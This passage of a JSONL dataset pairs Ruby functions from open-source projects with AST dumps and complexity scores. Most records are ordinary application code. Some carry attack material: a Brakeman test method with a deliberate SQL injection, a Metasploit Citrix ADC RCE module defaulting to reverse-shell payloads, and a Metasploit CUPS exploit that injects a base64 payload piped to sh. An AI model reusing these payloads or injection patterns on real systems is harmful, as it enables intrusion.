"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"apci_data\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"asdu_data\"]}]},{\"type\":\"lvar\",\"children\":[\"apci_data\"]}]}]}","id":"10404e0e-373a-4e55-9815-68cd8a239a32"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/manageiq/providers/cloud_manager/provision_workflow.rb","start_line":105,"raw_source":"def allowed_ci(ci, relats, filtered_ids = nil)\n    return {} if (sources = resources_for_ui).blank?\n\n    super(ci, relats, sources, filtered_ids)\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_ci\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ci\"]},{\"type\":\"arg\",\"children\":[\"relats\"]},{\"type\":\"optarg\",\"children\":[\"filtered_ids\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sources\",{\"type\":\"send\",\"children\":[null,\"resources_for_ui\"]}]}]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[]}]},null]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ci\"]},{\"type\":\"lvar\",\"children\":[\"relats\"]},{\"type\":\"lvar\",\"children\":[\"sources\"]},{\"type\":\"lvar\",\"children\":[\"filtered_ids\"]}]}]}]}","id":"67230667-d12c-4e96-96a4-38f2ff045201"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/work_packages/scopes/allowed_to.rb","start_line":62,"raw_source":"def anonymous_allowed_to(user, permissions)\n        where(project_id: Project.allowed_to(user, permissions))\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"anonymous_allowed_to\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"permissions\"]}]},{\"type\":\"send\",\"children\":[null,\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"allowed_to\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"permissions\"]}]}]}]}]}]}","id":"16f3e638-ef3b-4b8c-ad57-938983d31294"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/apps/rails4/app/models/account.rb","start_line":11,"raw_source":"def self.more_sql_connection\n    self.connection.exec_query \"UPDATE `purchases` SET type = '#{self.type}' WHERE id = '#{self.id}'\"\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"more_sql_connection\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"connection\"]},\"exec_query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE `purchases` SET type = '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"type\"]}]},{\"type\":\"str\",\"children\":[\"' WHERE id = '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]}","id":"01758049-63cd-49a7-afac-23227c0ee3ba"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/namespaces/enable_descendants_cache_cron_worker.rb","start_line":64,"raw_source":"def persist(ids_to_cache)\n      ids_to_cache.each_slice(PERSIST_SLICE_SIZE) do |slice|\n        Namespaces::Descendants.upsert_all(slice.map { |id| { namespace_id: id, outdated_at: Time.current } })\n      end\n    end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"persist\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ids_to_cache\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ids_to_cache\"]},\"each_slice\",{\"type\":\"const\",\"children\":[null,\"PERSIST_SLICE_SIZE\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"slice\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Namespaces\"]},\"Descendants\"]},\"upsert_all\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"slice\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"outdated_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]}]}]}]}]}]}]}","id":"660aa0b8-e4da-4646-a47e-163a8ec7fb9e"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin_helper/server.rb","start_line":415,"raw_source":"def initialize(server_type, sock, enabled_events = [], close_socket: true)\n          @server_type = server_type\n          @sock = sock\n          @peeraddr = nil\n          @enabled_events = enabled_events\n          @close_socket = close_socket\n        end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"server_type\"]},{\"type\":\"arg\",\"children\":[\"sock\"]},{\"type\":\"optarg\",\"children\":[\"enabled_events\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"close_socket\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@server_type\",{\"type\":\"lvar\",\"children\":[\"server_type\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@sock\",{\"type\":\"lvar\",\"children\":[\"sock\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@peeraddr\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@enabled_events\",{\"type\":\"lvar\",\"children\":[\"enabled_events\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@close_socket\",{\"type\":\"lvar\",\"children\":[\"close_socket\"]}]}]}]}","id":"90be8639-d247-420e-b7d0-d846b8543180"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/cache/behaviors/cache_store_behavior.rb","start_line":242,"raw_source":"def test_fetch_multi_without_block\n    assert_raises(ArgumentError) do\n      @cache.fetch_multi(SecureRandom.alphanumeric)\n    end\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_fetch_multi_without_block\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"fetch_multi\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"alphanumeric\"]}]}]}]}","id":"92400ab9-dcbc-4f47-91ce-5c3971de269e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-utils/lib/gitlab/utils.rb","start_line":29,"raw_source":"def force_utf8(str)\n      str.dup.force_encoding(Encoding::UTF_8)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"force_utf8\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"dup\"]},\"force_encoding\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Encoding\"]},\"UTF_8\"]}]}]}","id":"1a798aad-3f42-452a-aa47-010aa5dff75d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/dependency_linker/podspec_json_linker.rb","start_line":12,"raw_source":"def link_dependencies\n        link_json('name', json[\"name\"], &method(:package_url))\n        link_json('license', &method(:license_url))\n        link_json(%w[homepage git], URL_REGEX, &:itself)\n\n        link_packages_at_key(\"dependencies\", &method(:package_url))\n\n        json[\"subspecs\"]&.each do |subspec|\n          link_packages_at_key(\"dependencies\", subspec, &method(:package_url))\n        end\n      end","complexity_score":23.5,"ast_json":"{\"type\":\"def\",\"children\":[\"link_dependencies\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"link_json\",{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"package_url\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"link_json\",{\"type\":\"str\",\"children\":[\"license\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"license_url\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"link_json\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"homepage\"]},{\"type\":\"str\",\"children\":[\"git\"]}]},{\"type\":\"const\",\"children\":[null,\"URL_REGEX\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"itself\"]}]}]},{\"type\":\"send\",\"children\":[null,\"link_packages_at_key\",{\"type\":\"str\",\"children\":[\"dependencies\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"package_url\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"subspecs\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"subspec\"]}]},{\"type\":\"send\",\"children\":[null,\"link_packages_at_key\",{\"type\":\"str\",\"children\":[\"dependencies\"]},{\"type\":\"lvar\",\"children\":[\"subspec\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"package_url\"]}]}]}]}]}]}]}","id":"c531f0a2-a230-40ce-bd1f-fdce72009df7"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/tunes/language_converter.rb","start_line":8,"raw_source":"def from_itc_to_standard(from)\n          result = mapping.find { |a| a['name'] == from }\n          (result || {}).fetch('locale', nil)\n        end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"from_itc_to_standard\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"from\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mapping\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"a\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"from\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},{\"type\":\"hash\",\"children\":[]}]}]},\"fetch\",{\"type\":\"str\",\"children\":[\"locale\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"1e39ae52-b38c-49f7-8b25-38bb7c3727ad"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/policies/tag_policy.rb","start_line":4,"raw_source":"def index?\n    role.can?(:manage_taxonomies)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"index?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"role\"]},\"can?\",{\"type\":\"sym\",\"children\":[\"manage_taxonomies\"]}]}]}","id":"7ba1beef-9f0b-4383-a9dc-89e38494a3e1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/freebsd/http/citrix_dir_traversal_rce.rb","start_line":18,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Citrix ADC (NetScaler) Directory Traversal RCE',\n        'Description' => %q{\n          This module exploits a directory traversal in Citrix Application Delivery Controller (ADC), aka\n          NetScaler, and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0, to execute an arbitrary command payload.\n        },\n        'Author' => [\n          'Mikhail Klyuchnikov',          # Discovery\n          'Project Zero India',           # PoC used by this module\n          'TrustedSec',                   # PoC used by this module\n          'James Brytan',                 # PoC contributed independently\n          'James Smith',                  # PoC contributed independently\n          'Marisa Mack',                  # PoC contributed independently\n          'Rob Vinson',                   # PoC contributed independently\n          'Sergey Pashevkin',             # PoC contributed independently\n          'Steven Laura',                 # PoC contributed independently\n          'mekhalleh (RAMELLA Sébastien)' # Module author (https://www.pirates.re/)\n        ],\n        'References' => [\n          ['CVE', '2019-19781'],\n          ['EDB', '47901'],\n          ['EDB', '47902'],\n          ['URL', 'http://web.archive.org/web/20220608001448/https://support.citrix.com/article/CTX267027'],\n          ['URL', 'http://web.archive.org/web/20200707202522/https://www.mdsec.co.uk/2020/01/deep-dive-to-citrix-adc-remote-code-execution-cve-2019-19781/'],\n          ['URL', 'https://swarm.ptsecurity.com/remote-code-execution-in-citrix-adc/']\n        ],\n        'DisclosureDate' => '2019-12-17',\n        'License' => MSF_LICENSE,\n        'Platform' => ['python', 'unix'],\n        'Arch' => [ARCH_PYTHON, ARCH_CMD],\n        'Privileged' => false,\n        'Targets' => [\n          [\n            'Python',\n            {\n              'Platform' => 'python',\n              'Arch' => ARCH_PYTHON,\n              'Type' => :python,\n              'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' }\n            }\n          ],\n          [\n            'Unix Command',\n            {\n              'Platform' => 'unix',\n              'Arch' => ARCH_CMD,\n              'Type' => :unix_cmd,\n              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' }\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'DefaultOptions' => {\n          'CheckModule' => 'auxiliary/scanner/http/citrix_dir_traversal',\n          'HttpClientTimeout' => 3.5\n        },\n        'Notes' => {\n          'AKA' => ['Shitrix'],\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n        }\n      )\n    )\n\n    register_options([\n      OptString.new('TARGETURI', [true, 'Base path', '/'])\n    ])\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Citrix ADC (NetScaler) Directory Traversal RCE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a directory traversal in Citrix Application Delivery Controller (ADC), aka\\n\"]},{\"type\":\"str\",\"children\":[\"          NetScaler, and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0, to execute an arbitrary command payload.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Mikhail Klyuchnikov\"]},{\"type\":\"str\",\"children\":[\"Project Zero India\"]},{\"type\":\"str\",\"children\":[\"TrustedSec\"]},{\"type\":\"str\",\"children\":[\"James Brytan\"]},{\"type\":\"str\",\"children\":[\"James Smith\"]},{\"type\":\"str\",\"children\":[\"Marisa Mack\"]},{\"type\":\"str\",\"children\":[\"Rob Vinson\"]},{\"type\":\"str\",\"children\":[\"Sergey Pashevkin\"]},{\"type\":\"str\",\"children\":[\"Steven Laura\"]},{\"type\":\"str\",\"children\":[\"mekhalleh (RAMELLA Sébastien)\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2019-19781\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"47901\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"47902\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://web.archive.org/web/20220608001448/https://support.citrix.com/article/CTX267027\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://web.archive.org/web/20200707202522/https://www.mdsec.co.uk/2020/01/deep-dive-to-citrix-adc-remote-code-execution-cve-2019-19781/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://swarm.ptsecurity.com/remote-code-execution-in-citrix-adc/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2019-12-17\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"python\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_PYTHON\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Python\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"python\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PYTHON\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"python\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"python/meterpreter/reverse_tcp\"]}]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Unix Command\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"unix_cmd\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"cmd/unix/reverse_perl\"]}]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"CheckModule\"]},{\"type\":\"str\",\"children\":[\"auxiliary/scanner/http/citrix_dir_traversal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"HttpClientTimeout\"]},{\"type\":\"float\",\"children\":[3.5]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"AKA\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Shitrix\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]},{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Base path\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]}]}]}","id":"cc2cbdbd-fa9d-4c7b-a626-552022c3790d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb","start_line":236,"raw_source":"def create_ipp_response(version_major, version_minor, request_id)\n    # Printer attributes\n    attributes = {}\n\n    # Creating an MVP (\"Minimum Viable Printer\")\n\n    # charset\n    attributes[[SectionEnum::PRINTER, 'attributes-configured', TagEnum::CHARSET]] = ['utf-8']\n\n    # charset\n    attributes[[SectionEnum::PRINTER, 'attributes-supported', TagEnum::CHARSET]] = ['utf-8']\n\n    # keyword\n    attributes[[SectionEnum::PRINTER, 'compression-supported', TagEnum::KEYWORD]] = ['none']\n\n    # mimeMediaType\n    attributes[[SectionEnum::PRINTER, 'document-format-default', TagEnum::MIME_MEDIA_TYPE]] = ['application/pdf']\n\n    # mimeMediaType\n    attributes[[SectionEnum::PRINTER, 'document-format-supported', TagEnum::MIME_MEDIA_TYPE]] = ['application/pdf']\n\n    # naturalLanguage\n    attributes[[SectionEnum::PRINTER, 'generated-natural-language-supported', TagEnum::NATURAL_LANGUAGE]] = ['en']\n\n    # keyword\n    attributes[[SectionEnum::PRINTER, 'ipp-versions-supported', TagEnum::KEYWORD]] = ['1.1']\n\n    # keyword\n    attributes[[SectionEnum::PRINTER, 'media-default', TagEnum::KEYWORD]] = ['iso_a4_210x297mm']\n\n    # keyword\n    attributes[[SectionEnum::PRINTER, 'media-supported', TagEnum::KEYWORD]] = ['iso_a4_210x297mm']\n\n    # keyword\n    attributes[[SectionEnum::PRINTER, 'media-type', TagEnum::KEYWORD]] = ['stationery']\n\n    enc_payload = Rex::Text.encode_base64(payload.encoded)\n\n    # 1setOf keyword\n    attributes[[SectionEnum::PRINTER, 'media-type-supported', TagEnum::KEYWORD]] = [\n      'stationery',\n      # Here's our base64-encoded fetch payload, which will grab a Meterpreter binary from our stager HTTP server\n      \": HAX\\n*FoomaticRIPCommandLine: echo -n #{enc_payload}|base64 -d|sh;#\\n*cupsFilter2: \\\"application/vnd.cups-pdf application/pdf 0 foomatic-rip\\\"\\n*%\"\n    ]\n\n    # naturalLanguage\n    attributes[[SectionEnum::PRINTER, 'natural-language-configured', TagEnum::NATURAL_LANGUAGE]] = ['en']\n\n    # 1setOf enum\n    attributes[[SectionEnum::PRINTER, 'document-format-supported', TagEnum::ENUM]] = [\n      OperationEnum::PRINT_JOB,\n      OperationEnum::VALIDATE_JOB,\n      OperationEnum::CANCEL_JOB,\n      OperationEnum::GET_JOB_ATTRIBUTES,\n      OperationEnum::GET_PRINTER_ATTRIBUTES\n    ]\n\n    # keyword\n    attributes[[SectionEnum::PRINTER, 'pdl-override-supported', TagEnum::KEYWORD]] = ['not-attempted']\n\n    # textWithoutLanguage\n    attributes[[SectionEnum::PRINTER, 'printer-info', TagEnum::TEXT_WITHOUT_LANGUAGE]] = ['Printer']\n\n    # textWithoutLanguage\n    attributes[[SectionEnum::PRINTER, 'printer-make-and-model', TagEnum::TEXT_WITHOUT_LANGUAGE]] = ['Printer 1.00']\n\n    # nameWithoutLanguage\n    attributes[[SectionEnum::PRINTER, 'printer-name', TagEnum::NAME_WITHOUT_LANGUAGE]] = ['Printer']\n\n    # enum\n    attributes[[SectionEnum::PRINTER, 'printer-state', TagEnum::ENUM]] = [JobStateEnum::PENDING] # AKA IDLE\n\n    # keyword\n    attributes[[SectionEnum::PRINTER, 'printer-state-reasons', TagEnum::KEYWORD]] = ['none']\n\n    # integer\n    attributes[[SectionEnum::PRINTER, 'pdl-override-supported', TagEnum::INTEGER]] = [Time.now.to_i]\n\n    # uri\n    attributes[[SectionEnum::PRINTER, 'printer-uri-supported', TagEnum::URI]] = ['ipp://localhost:631/printer']\n\n    # keyword\n    attributes[[SectionEnum::PRINTER, 'uri-authentication-supported', TagEnum::KEYWORD]] = ['none']\n\n    # keyword\n    attributes[[SectionEnum::PRINTER, 'uri-security-supported', TagEnum::KEYWORD]] = ['none']\n\n    # Create response, imitating ipp-server's 'to_file' function\n\n    # Pack the version\n    response = [version_major, version_minor].pack('C*')\n\n    # Pack the 2-byte status code\n    response << [0x0000].pack('n')\n\n    # Pack the 4-byte request ID\n    response << [request_id].pack('N')\n\n    # Group the above defined attributes by section (we use the PRINTER section for the payload)\n    attributes.group_by { |k, _v| k[0] }.each do |section, attrs_in_section|\n      response << [section].pack('C')\n\n      attrs_in_section.each do |key, values|\n        _section, name, tag = key\n        values.each_with_index do |value, i|\n          response << [tag].pack('C')\n          if i == 0\n            response << [name.length].pack('n')\n            response << name\n          else\n            response << [0].pack('n')\n          end\n\n          # Make sure non-string values work by packing as four bytes (should work for all ints)\n          if value.is_a?(Integer)\n            response << [4].pack('n')\n            response << [value].pack('N')\n          else\n            # Packing strings\n            response << [value.length].pack('n')\n            response << value\n          end\n        end\n      end\n    end\n\n    # Close out attributes with an ENDTAG\n    response << [SectionEnum::ENDTAG].pack('C')\n\n    response\n  end","complexity_score":95.65,"ast_json":"{\"type\":\"def\",\"children\":[\"create_ipp_response\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"version_major\"]},{\"type\":\"arg\",\"children\":[\"version_minor\"]},{\"type\":\"arg\",\"children\":[\"request_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attributes\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SectionEnum\"]},\"PRINTER\"]},{\"type\":\"str\",\"children\":[\"attributes-configured\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TagEnum\"]},\"CHARSET\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"utf-8\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SectionEnum\"]},\"PRINTER\"]},{\"type\":\"str\",\"children\":[\"attributes-supported\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[nul